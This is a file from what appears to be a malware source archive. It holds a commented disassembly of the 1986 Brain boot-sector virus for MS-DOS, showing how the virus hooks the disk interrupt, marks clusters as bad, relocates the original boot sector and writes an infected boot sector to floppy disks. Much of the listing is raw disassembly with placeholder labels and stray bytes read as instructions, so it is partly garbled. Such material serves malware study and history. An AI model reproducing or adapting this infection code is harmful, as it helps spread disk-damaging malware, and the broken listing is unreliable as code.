MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.virus32a.asm
2021-01-12 18:07:35 -06:00

1275 lines
56 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

The following is a disassembled and commented version of the Pakistani Brain
virus - segment one. All comments, structure inclusions and explanatory
information is copyright InterPath Corporation, 1987, 1988. This document may
not be distributed or copied without the express written consent of InterPath
Corporation. Contact InterPath at 408 988 3832.
PAGE 64,132
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CODE SEGMENT PUBLIC 'CODE' ;
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING
;
ORG 0 ;
;
BPB EQU 3+8 ;JMP + OEM_NAME
;
;-----------------------------------------------------------------------;
; COPY OF BOOT SECTOR ;
;-----------------------------------------------------------------------;
;
DB 6 DUP (?) ;
;
L0006 DB ? ;HEAD
L0007 DB ? ;SECTOR
L0008 DB ? ;TRACK
;
L0009 DB ? ;HEAD
L000A DB ? ;SECTOR
L000B DB ? ;TRACK
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
;
ORG 512 ;
;
;-----------------------------------------------------------------------;
; (BOOT SECTOR TYPE FORMAT!) ;
;-----------------------------------------------------------------------;
CONTINUE: JMP CONTINUE_2 ;023C
;
L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION
;
DW 512 ;BYTES PER SECTOR
DB 2 ;SECTORS PER ALLOCATION UNIT
DW 1 ;RESERVED SECTORS
L0210 DB 2 ;NUMBER OF FATS
DW 112 ;NUMBER OF ROOT DIR ENTRIES
DW 2D0H ;SECTORS PER DISK
DB 0FDH ;MEDIA ID
DW 2 ;SECTORS PER FAT
DW 9 ;SECTORS PER TRACK
DW 2 ;NUMBER OF HEADS
DW 0 ;HIDDEN SECTORS
;
;---------------------------------------;
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
DB 2
DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
REBOOT: INT 19H ;REBOOT
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE_2: ;
CLI ;
XOR AX,AX ;
MOV ES,AX ;ES=0
MOV SS,AX ;SS:SP = 0000:7C00
MOV SP,7C00H ;
MOV DS,AX ;
MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E)
MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F
MOV [7AH],BX ;
;
MOV DS,BX ;DS = 07C0
MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E !
MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 !
INT 13H ;RESET
JNB C_10 ;
JMP ERROR_2 ;IF ERROR...'BOOT FAILURE'
;
C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B
MOV CX,[SI] ;CX = BYTES PER SECTOR
SHR CH,1 ;WORDS PER SECTOR
XCHG CH,CL ;
MOV [2BH],CX ;SAVE ;BOOT:002B
MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010
XOR AH,AH ;
MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016
ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E
ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C
MOV [24H],AX ;SAVE IT ;BOOT:0024
MOV BX,7E00H ;
CALL UI ;
;
MOV BX,ES ;SAVE ES
MOV AX,70H ;ES=0070H
MOV ES,AX ;
MOV AX,32 ;32*
MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+
MOV CX,[SI] ;
ADD AX,CX ; BYTES/SECTOR
DEC AX ; -1
DIV CX ; /BYTES/SECTOR
ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT
;
MOV CL,[2AH] ;
MOV AX,[24H] ;
CALL READ_CLUSTER ;(READ BOOT SECTOR ???)
;
PUSH ES ;
POP DS ;
JMP 0070H:0000H ;(PASS CONTROL TO ???)
;
;-----------------------------------------------------------------------;
; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ;
; ON ENTRY: AX = ?
; ES:BX = DTA ;
; CL = ? ;
; DS:SI = BPB ;
; DS:[0021] = ;
;-----------------------------------------------------------------------;
READ_CLUSTER: ;02B3
PUSH BX ;
PUSH AX ;
;
MOV AL,CL ;
MUL Byte Ptr [2BH] ;
MOV [29H],AL ;
POP AX ;
MUL Word Ptr [2BH] ;
DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK)
INC DL ;
MOV [28H],DL ;
PUSH DX ;
XOR DX,DX ;
DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS)
MOV [21H],DL ;
MOV [26H],AX ;
POP DX ;
RC_10: MOV CL,[29H] ;
ADD DL,CL ;
MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK)
INC AX ;
CMP DL,AL ;
JBE RC_20 ;
SUB AL,[28H] ;
MOV CL,AL ;
RC_20: MOV AL,CL ;
MOV DX,[26H] ;
MOV CL,6 ;
SHL DH,CL ;
OR DH,[28H] ;
MOV CX,DX ;
XCHG CH,CL ;
MOV DX,[20H] ;
;
MOV AH,2 ;READ SECTOR
PUSH AX ;
INT 13H ;
POP AX ;
JB ERROR_2 ;IF ERROR...'BOOT FAILURE'
SUB [29H],AL ;
JBE RC_90 ;
CBW ;
MUL Word Ptr [2DH] ;
ADD BX,AX ;
INC Byte Ptr [21H] ;
MOV DL,[21H] ;
CMP DL,[SI+0FH] ;
MOV DL,1 ;
MOV [28H],DL ;
JB RC_10 ;
MOV Byte Ptr [21H],0 ;
INC Word Ptr [26H] ;
JMP RC_10 ;
;
RC_90: POP BX ;
RET ;
;
;-----------------------------------------------------------------------;
; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ;
;-----------------------------------------------------------------------;
ERROR_1: ;0339
MOV SI,01B3H ;'Non-System disk'
JMP E_10 ;
;
;---------------------------------------;
ERROR_2: ;
MOV SI,01C5H ;'BOOT failure'
E_10: CALL DISPLAY_STRING ;
;
MOV SI,01D4H ;'Replace and press any key when ready'
CALL DISPLAY_STRING ;
;
MOV AH,0 ;WAIT FOR A KEY
INT 16H ;
E_20: MOV AH,1 ; THROW IT AWAY AND
INT 16H ; WAIT FOR ANOTHER ONE BUT
JNZ E_20 ; DONT GET IT
JMP REBOOT ;
;
;-----------------------------------------------------------------------;
; DISPLAY ASCIIZ STRING ;
; ON ENTRY: DS:SI = ASCIIZ STRING ;
;-----------------------------------------------------------------------;
DISPLAY_STRING: ;0357
DS_00: LODSB ;DISPLAY UNTIL NULL
OR AL,AL ;
JZ DS_90 ;
MOV AH,0EH ;
MOV BX,7 ;
INT 10 ;
JMP DS_00 ;
DS_90: RET ;0365
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
UI: ;0366:
MOV CL,01 ;
CALL READ_CLUSTER ;
;
PUSH SI ;
MOV DI,BX ;
MOV AX,ES:[BX+1C] ;
XOR DX,DX ;
DIV Word Ptr [SI] ;
INC AL ;
MOV [002A],AL ;
MOV SI,019D ;
MOV CX,000B ;
REPZ ;
CMPSB ;
JNZ ERROR_1 ;'NON SYSTEM DISK'
MOV AX,ES:[BX+3A] ;
MOV [0022],AX ;
MOV DI,BX ;
ADD DI,+20 ;
MOV SI,01A8 ;
MOV CX,000B ;
REPZ ;
CMPSB ;
JNZ ERROR_1 ;'NON SYSTEM DISK'
POP SI ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L039D DB 'IBMBIO COM'
DB 'IBMDOS COM'
DB CR,LF,'Non-System disk',0
DB CR,LF,'BOOT failure',0
DB CR,LF,'Replace and press any key when ready',0
DB 90H,90H,90H,55H,0AAH
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0400: JMP SHORT CONT_A ;
;
DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONT_A: ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0A5B DB 'IBMBIO COM'
DB 'IBMDOS COM'
DB CR,LF,'Non-System disk',0
DB CR,LF,'BOOT failure',0
DB CR,LF,'Replace and press any key when ready',0
DB 90H,90H,90H,55H,0AAH
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD AL,00 ;0425 0400
ADD [06C6],CH ;0427 002EC606
AND AX,1F02 ;042B 25021F
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
REDIRECT_13: ;042E
XOR AX,AX ;GET INT 13 VECTOR
MOV DS,AX ;
MOV AX,[004CH] ;
MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR)
MOV AX,[004EH] ;
MOV [01B6H],AX ;
MOV AX,0276H ;SET INT 13 VECTOR
MOV [004CH],AX ;
MOV AX,CS ;
MOV [004EH],AX ;
;
MOV CX,0004 ;RETRY = 4
XOR AX,AX ;
MOV ES,AX ;
L0450: PUSH CX ;
MOV DH,CS:[0006] ;DH = HEAD
MOV DL,00 ;DRIVE A:
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
MOV AX,0201 ;READ 1 SECTOR
MOV BX,7C00 ;ES:BX == DTA = 0000:7C00
INT 6DH ;
JNB L0470 ;
MOV AH,00 ;RESET
INT 6DH ;
POP CX ;TRY AGAIN
LOOP L0450 ;
INT 18H ;LOAD BASIC
;
L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?!
;
NOP ;0475 90
STI ;0476 FB
CMP AH,02 ;0477 80FC02
JNZ L0494 ;047A 7518
CMP DL,02 ;047C 80FA02
JA L0494 ;047F 7713
CMP CH,00 ;0481 80FD00
JNZ L048B ;0484 7505
CMP DH,00 ;0486 80FE00
JZ L0497 ;0489 740C
L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502
JNZ L0494 ;0490 7502
JMP L0497 ;0492 EB03
L0494: JMP L053C ;0494 E9A500
L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200
MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204
PUSH AX ;04A3 50
PUSH BX ;04A4 53
PUSH CX ;04A5 51
PUSH DX ;04A6 52
MOV CS:[0226],DL ;04A7 2E88162602
MOV CX,0004 ;04AC B90400
PUSH CX ;04AF 51
MOV AH,00 ;04B0 B400
INT 6D ;04B2 CD6D
JB ;04CB ;04B4 7215
MOV DH,00 ;04B6 B600
MOV CX,0001 ;04B8 B90100
MOV BX,06BE ;04BB BBBE06
PUSH ES ;04BE 06
MOV AX,CS ;04BF 8CC8
MOV ES,AX ;04C1 8EC0
MOV AX,0201 ;04C3 B80102
INT 6D ;04C6 CD6D
POP ES ;04C8 07
JNB ;04D1 ;04C9 7306
POP CX ;04CB 59
LOOP ;04AF ;04CC E2E1
JMP ;04FF ;04CE EB2F
NOP ;04D0 90
POP CX ;04D1 59
MOV AX,CS:[06C2] ;04D2 2EA1C206
CMP AX,1234 ;04D6 3D3412
JNZ ;04E3 ;04D9 7508
MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201
JMP ;0503 ;04E1 EB20
PUSH DS ;04E3 1E
PUSH ES ;04E4 06
MOV AX,CS ;04E5 8CC8
MOV DS,AX ;04E7 8ED8
MOV ES,AX ;04E9 8EC0
PUSH SI ;04EB 56
CALL L0804 ;04EC E81503
JB ;04FA ;04EF 7209
MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202
CALL L06B2 ;04F7 E8B801
POP SI ;04FA 5E
POP ES ;04FB 07
POP DS ;04FC 1F
JNB ;0503 ;04FD 7304
MOV AH,00 ;04FF B400
INT 6D ;0501 CD6D
POP DX ;0503 5A
POP CX ;0504 59
POP BX ;0505 5B
POP AX ;0506 58
CMP CX,+01 ;0507 83F901
JNZ L053C ;050A 7530
CMP DH,00 ;050C 80FE00
JNZ L053C ;050F 752B
CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201
JNZ ;052A ;0517 7511
MOV CX,CS:[06C5] ;0519 2E8B0EC506
MOV DX,CS:[06C3] ;051E 2E8B16C306
MOV DL,CS:[0226] ;0523 2E8A162602
JMP L053C ;0528 EB12
CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202
JNZ L053C ;0530 750A
;
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
MOV DH,CS:[0006] ;DH = HEAD
L053C: INT 6DH ;
RETF 2 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0550: JMP CONTINUE_3 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0553 DW 3 ;
DB ' (c) 1986 Basit & Amjads (pvt) Ltd'
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE_3: ;0577
CALL READ_VERIFY ;READ VERIFY
MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS...
CMP AX,0FFFDH ;
JE L0586 ;...CONTINUE
MOV AL,3 ;ELSE RETURN ??? ERROR
STC ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0586: ;0586
MOV CX,0037 ;
MOV Word Ptr [0353],0000 ;
CALL ;05F8 ;058F E86600
CMP AX,0000 ;0592 3D0000
JNZ ;05A5 ;0595 750E
INC Word Ptr [0353] ;0597 FF065303
CMP Word Ptr [0353],+03 ;059B 833E530303
JNZ ;05AB ;05A0 7509
JMP ;05B6 ;05A2 EB12
NOP ;05A4 90
MOV Word Ptr [0353],0000 ;05A5 C70653030000
INC CX ;05AB 41
CMP CX,0163 ;05AC 81F96301
JNZ ;058F ;05B0 75DD
MOV AL,01 ;05B2 B001
STC ;05B4 F9
RET ;05B5 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV DL,03 ;05B6 B203
CALL ;05CB ;05B8 E81000
DEC CX ;05BB 49
DEC DL ;05BC FECA
JNZ ;05B8 ;05BE 75F8
INC CX ;05C0 41
CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD
CALL ;062D ;05C4 E86600
MOV AL,00 ;05C7 B000
CLC ;05C9 F8
RET ;05CA C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
PUSH CX ;05CB 51
PUSH DX ;05CC 52
MOV SI,06BE ;05CD BEBE06
MOV AL,CL ;05D0 8AC1
SHR AL,1 ;05D2 D0E8
JB ;05E4 ;05D4 720E
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;05D9 8B00
AND AX,F000 ;05DB 2500F0
OR AX,0FF7 ;05DE 0DF70F
JMP ;05EF ;05E1 EB0C
NOP ;05E3 90
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;05E7 8B00
AND AX,000F ;05E9 250F00
OR AX,FF70 ;05EC 0D70FF
MOV [BX+SI],AX ;05EF 8900
MOV [BX+SI+0400],AX ;05F1 89800004
POP DX ;05F5 5A
POP CX ;05F6 59
RET ;05F7 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
PUSH CX ;05F8 51
MOV SI,06BE ;05F9 BEBE06
MOV AL,CL ;05FC 8AC1
SHR AL,1 ;05FE D0E8
JB L060D ;0600 720B
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;0605 8B00
AND AX,0FFF ;0607 25FF0F
JMP L0619 ;060A EB0D
;
L060D: CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;0610 8B00
AND AX,FFF0 ;0612 25F0FF
MOV CL,04 ;0615 B104
SHR AX,CL ;0617 D3E8
L0619: POP CX ;0619 59
RET ;061A C3
;
;-----------------------------------------------------------------------;
; BX = (CX*3)/2 ;
;-----------------------------------------------------------------------;
FUNCTION_1: ;061B
PUSH DX ;
MOV AX,3 ;
MUL CX ;
SHR AX,1 ;
MOV BX,AX ;
POP DX ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
READ_VERIFY: ;0627
MOV AH,2 ;
CALL VERIFY_SECTORS ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
WRITE_VERIFY: ;062D
MOV AH,03 ;
CALL VERIFY_SECTORS ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
VERIFY_SECTORS: ;0633
MOV CX,4 ;RETRY = 4
L0636: PUSH CX ;
PUSH AX ;
MOV AH,0 ;REST
INT 6DH ;
POP AX ;
JB L0653 ;
MOV BX,offset L06BEH ;
MOV AL,4 ;4==VERIFY
MOV DH,00 ;HEAD 0
MOV DL,[0226] ;DRIVE DL
MOV CX,0002 ;TRACK 0/SECTOR 2
PUSH AX ;
INT 6DH ;
POP AX ;
JNB L065C ;IF ERROR...EXIT
L0653: POP CX ;
LOOP L0636 ;RETRY
POP AX ;
POP AX ;
MOV AL,2 ;BAD ADDRESS MARK ???
STC ;RETURN ERROR
RET ;
;
L065C: POP CX ;
RET ;
;
;-----------------------------------------------------------------------;
; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ;
;-----------------------------------------------------------------------;
CONVERT_1: ;065E
PUSH CX ;
SUB CX,2 ;
SHL CX,1 ;WORD PTR
ADD CX,9*2 ; (SECTORS PER CYLINDER ???)
MOV AX,CX ;
MOV CL,9*2 ; (SECTORS PER CYLINDER ???)
DIV CL ;
MOV DS:[0008],AL ;AL = TRACK
MOV Byte Ptr DS:[0006],0 ;INC. HEAD
INC AH ;INC. SECTOR
CMP AH,9 ;IF TOO BIG...
JBE L0684 ;
SUB AH,9 ;...START AT ZERO
MOV Byte Ptr DS:[0006],1 ;INC. HEAD
L0684: MOV DS:[0007],AH ;
POP CX ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD [BX+SI],AL ;068A 0000
ADD [BX+SI],AL ;068C 0000
ADD [BX+SI],AL ;068E 0000
ADD BP,[SI+00] ;0690 036C00
ADD AX,[BP+DI] ;0693 0303
MOV SI,010E ;0695 BE0E01
ADD [BX+SI],AL ;0698 0000
ADD AX,SP ;069A 01E0
FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0
LAHF ;06A0 9F
LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E
LOOPNZ ;06C7 ;06A5 E020
SUB [BP+DI+29],AH ;06A7 286329
AND [BP+SI+72],AL ;06AA 204272
POPA ;06AD 61
IMUL BP,[BP+20],E824 ;06AE 696E2024E8
FILD DWord Ptr [BX+SI] ;06B3 DB00
JB L06C1 ;06B5 720A
PUSH DI ;06B7 57
CALL ;06DA ;06B8 E81F00
POP DI ;06BB 5F
JB L06C1 ;06BC 7203
CALL WRITE_RBF ;WRITE ROOT BOOT FAT
L06C1: RET ;06C1 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV BX,049B ;06C2 BB9B04
MOV CX,000B ;
L06C8: MOV AL,[BX] ;
NEG AL ;
MOV [SI],AL ;
INC SI ;
INC BX ;
LOOP L06C8 ;
;
MOV AL,08 ;
MOV [SI],AL ;
CLC ;
RET ;06D7 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV Byte Ptr [06C7],91 ;06D8 C606C70691
ADD AL,6C ;06DD 046C
ADD [BP+06FE],BH ;06DF 00BEFE06
MOV [0493],DX ;06E3 89169304
MOV AX,[0491] ;06E7 A19104
SHR AX,1 ;06EA D1E8
MOV [0497],AX ;06EC A39704
SHR AX,1 ;06EF D1E8
MOV [0495],AX ;06F1 A39504
XCHG AX,CX ;06F4 91
AND CL,43 ;06F5 80E143
MOV DI,[0495] ;06F8 8B3E9504
ADD DI,01E3 ;06FC 81C7E301
MOV AL,[SI] ;0700 8A04
CMP AL,00 ;0702 3C00
JZ ;071B ;0704 7415
MOV AL,[SI+0B] ;0706 8A440B
AND AL,08 ;0709 2408
CMP AL,08 ;070B 3C08
JZ ;071B ;070D 740C
ADD SI,+20 ;070F 83C620
DEC Word Ptr [0491] ;0712 FF0E9104
JNZ ;0700 ;0716 75E8
STC ;0718 F9
RET ;0719 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
: ;071A
MOV CX,[BP+DI+331D] ;
PUSH DS ;071E 1E
XCHG AX,DI ;071F 97
ADD AL,89 ;0720 0489
XCHG AX,DI ;0722 3697
ADD AL,FA ;0724 04FA
MOV AX,SS ;0726 8CD0
MOV SS:[0493],AX ;0728 A39304
MOV [0495],SP ;072B 89269504
MOV AX,CS ;072F 8CC8
MOV SS,AX ;0731 8ED0
MOV SP,[0497] ;0733 8B269704
ADD SP,+0C ;0737 83C40C
MOV CL,51 ;073A B151
ADD DX,444C ;073C 81C24C44
MOV DI,2555 ;0740 BF5525
MOV CX,0C03 ;0743 B9030C
REPZ ;0746 F3
CMPSW ;0747 A7
MOV AX,0B46 ;0748 B8460B
MOV CX,0003 ;074B B90300
ROL AX,CL ;074E D3C0
MOV [0497],AX ;0750 A39704
MOV CX,0005 ;0753 B90500
MOV DX,0008 ;0756 BA0800
SUB Word Ptr [0497],5210 ;0759 812E97041052
PUSH [0497] ;075F FF369704
L0763: MOV AH,[BX] ;0763 8A27
INC BX ;0765 43
MOV DL,AH ;0766 8AD4
SHL DL,1 ;0768 D0E2
JB L0763 ;076A 72F7
L076C: MOV DL,[BX] ;076C 8A17
INC BX ;076E 43
MOV AL,DL ;076F 8AC2
SHL DL,1 ;0771 D0E2
JB L076C ;0773 72F7
ADD AX,1D1D ;0775 051D1D
PUSH AX ;0778 50
INC Word Ptr [0497] ;0779 FF069704
JNB L0780 ;077D 7301
JMP 268B:E1E2 ;077F EAE2E18B26
;
XCHG AX,BP ;0784 95
ADD AL,A1 ;0785 04A1
XCHG AX,BX ;0787 93
ADD AL,8E ;0788 048E
SAR BL,1 ;078A D0FB
ADD DH,[BP+SI] ;078C 0232
CLC ;078E F8
RET ;078F C3
;
;-----------------------------------------------------------------------;
; READ ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
READ_RBF: ;0790
MOV Byte Ptr [0490],02 ;COMMAND = READ
JMP ROOT_BOOT_FAT ;DO IT
;
;-----------------------------------------------------------------------;
; WRITE ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
WRITE_RBF: ;0798
MOV Byte Ptr [0490],03 ;COMMAND = WRITE
JMP ROOT_BOOT_FAT ;DO IT
;
;-----------------------------------------------------------------------;
; READ OR WRITE ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
ROOT_BOOT_FAT: ;07A0
MOV DH,0 ;HEAD = 0
MOV DL,[226H] ;DL = DRIVE
MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR
MOV AH,[490H] ;AH = COMMAND
MOV AL,4 ;4 SECTORS
MOV BX,6BEH ;ES:BX = DTA
CALL RESET_DO_IT ;GO TO DISK
JB L07C9 ;IF ERROR...EXIT
;
MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1
MOV DH,1 ;HEAD 1
MOV AH,[490H] ;AH = COMMAND
MOV AL,3 ;3 SECTORS
ADD BX,800H ;ES:BX = DTA
CALL RESET_DO_IT ;GO TO DISK
L07C9: RET ;
;
;-----------------------------------------------------------------------;
; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ;
;-----------------------------------------------------------------------;
RESET_DO_IT: ;07CA
MOV [0493],AX ;
MOV [0495],BX ;SAVE REGs
MOV [0497],CX ;
MOV [0499],DX ;
MOV CX,0004 ;RETRY COUNT = 4
;
RDI_10: PUSH CX ;
MOV AH,00 ;REST DRIVE
INT 6D ;
JB RDI_80 ;IF ERROR...RETRY
MOV AX,[0493] ;RESTORE REGs
MOV BX,[0495] ;
MOV CX,[0497] ;
MOV DX,[0499] ;
INT 6D ;DO SPECIFIED FUNCTION
JNB RDI_90 ;IF NO ERROR...EXIT
RDI_80: POP CX ;
LOOP RDI_10 ;RETRY
STC ;RETURN ERROR
RET ;
;
RDI_90: POP CX ;RETURN NO ERROR
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD [BX+SI],AL ;07FD 0000
ADD [BP+DI],AL ;07FF 0003
ADD [BX+DI],AL ;0801 0001
L0804: ?!?!
ADD BP,AX ;0803 03E8
DEC CX ;0805 49
STD ;0806 FD
JB ;085D ;0807 7254
;
MOV Word Ptr [000A],0001 ;
MOV Byte Ptr [0009],00 ;
MOV BX,06BE ;ES:BX = DTA ?
CALL READ_SECTORS ;
;
MOV BX,06BE ;BX = DTA
MOV AX,[0007] ;GET SECTOR TRACK
MOV [000A],AX ;SAVE SECTOR/TRACK
MOV AH,[0006] ;GET HEAD
MOV [0009],AH ;SAVE HEAD
CALL WRITE_SECTORS ;WRITE SECTOR(S)
CALL NEXT_SECTOR ;POINT TO NEXT
;
MOV CX,0005 ;CX = ???
MOV BX,0200 ;BX = DTA
L0837: MOV [0600],CX ;SAVE ???
CALL WRITE_SECTORS ;WRITE SECTOR(S)
CALL NEXT_SECTOR ;POINT TO NEXT
ADD BX,512 ;DTA += 512
MOV CX,[0600] ;???
LOOP L0837 ;LOOP 5 TIMES ???
;
MOV Byte Ptr [0009],00 ;HEAD = 0
MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1
MOV BX,0000 ;DTA = INFECTED BOOT SECTOR
CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR
CLC ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
READ_SECTORS: ;085E
MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR
JMP DO_SECTORS ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
WRITE_SECTORS: ;0867
MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR
JMP DO_SECTORS ;
;
;-----------------------------------------------------------------------;
; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ;
; ;
; ON ENTRY: DS:[601H] = COMMAND ;
; DS:[602H] = SECTOR COUNT ;
; DS:[226H] = DRIVE ;
; DS:[0009] = HEAD ;
; DS:[000A] = SECTOR ;
; DS:[000B] = TRACK ;
;-----------------------------------------------------------------------;
DO_SECTORS: ;0870
PUSH BX ;
MOV CX,4 ;RETRY COUNT = 4
;
D1S_10: PUSH CX ;
MOV DH,[9] ;HEAD = 9
MOV DL,[226H] ;DRIVE
MOV CX,[10] ;TRACK/SECT
MOV AX,[602H] ;COMMAND/COUNT
INT 6DH ;(SAME AS INT 13)
JNB D1S_80 ;
;
MOV AH,00 ;RESET
INT 6DH ;(SAME AS INT 13)
POP CX ;
LOOP D1S_10 ;TRY AGAIN
POP BX ;
POP BX ;
STC ;RETURN ERROR
RET ;
;
D1S_80: POP CX ;0893 59
POP BX ;0894 5B
RET ;0895 C3
;
;-----------------------------------------------------------------------;
; INC. NEXT SECTOR ;
; ON ENTRY: DS:[0009] = HEAD ;
; DS:[000A] = SECTOR ;
; DS:[000B] = TRACK ;
;-----------------------------------------------------------------------;
NEXT_SECTOR: ;0896
INC Byte Ptr [10] ;SECTOR
CMP Byte Ptr [10],10 ;
JNZ NS_90 ;
MOV Byte Ptr [10],1 ;
INC Byte Ptr [9] ;HEAD
CMP Byte Ptr [9],2 ;
JNZ NS_90 ;
MOV Byte Ptr [9],0 ;
INC Byte Ptr [11] ;TRACK
NS_90: RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
DB 64 ;08BB 'dtk'
JZ ;091F ;
;
;---------------------------------------;
JMP CONTINUE_4 ;08FA
;
DB 'IBM X3.2' ;OEM NAME AND VERSION
;
DW 512 ;BYTES PER SECTOR
DB 2 ;SECTORS PER ALLOCATION UNIT
DW 1 ;RESERVED SECTORS
DB 2 ;NUMBER OF FATS
DW 112 ;NUMBER OF ROOT DIR ENTRIES
DW 2D0H ;SECTORS PER DISK
DB 0FDH ;MEDIA ID
DW 2 ;SECTORS PER FAT
DW 9 ;SECTORS PER TRACK
DW 2 ;NUMBER OF HEADS
DW 0 ;HIDDEN SECTORS
;
;---------------------------------------;
DB 0,0
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0
DB 002H,0DFH
DB 002H,025H,002H,012H
DB 02AH,0FFH,050H,0F6H
DB 000H,002H,
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
INT 19H ;REBOOT
;
L08FA: CLI ;08FA FA
XOR AX,AX ;08FB 33C0
MOV ES,AX ;08FD 8EC0
MOV SS,AX ;08FF 8ED0
MOV SP,7C00 ;0901 BC007C
MOV DS,AX ;0904 8ED8
MOV BX,07C0 ;0906 BBC007
MOV Word Ptr [0078],002F ;0909 C70678002F00
MOV [007A],BX ;090F 891E7A00
MOV DS,BX ;0913 8EDB
MOV DX,[001E] ;0915 8B161E00
MOV [0020],DL ;0919 88162000
INT 13 ;GO TO DISK
JNB ;0924 ;091F 7303
JMP ;09FC ;0921 E9D800
MOV SI,000B ;0924 BE0B00
MOV CX,[SI] ;0927 8B0C
SHR CH,1 ;0929 D0ED
XCHG CH,CL ;092B 86E9
MOV [002B],CX ;092D 890E2B00
MOV AL,[SI+05] ;0931 8A4405
XOR AH,AH ;0934 32E4
MUL Word Ptr [SI+0B] ;0936 F7640B
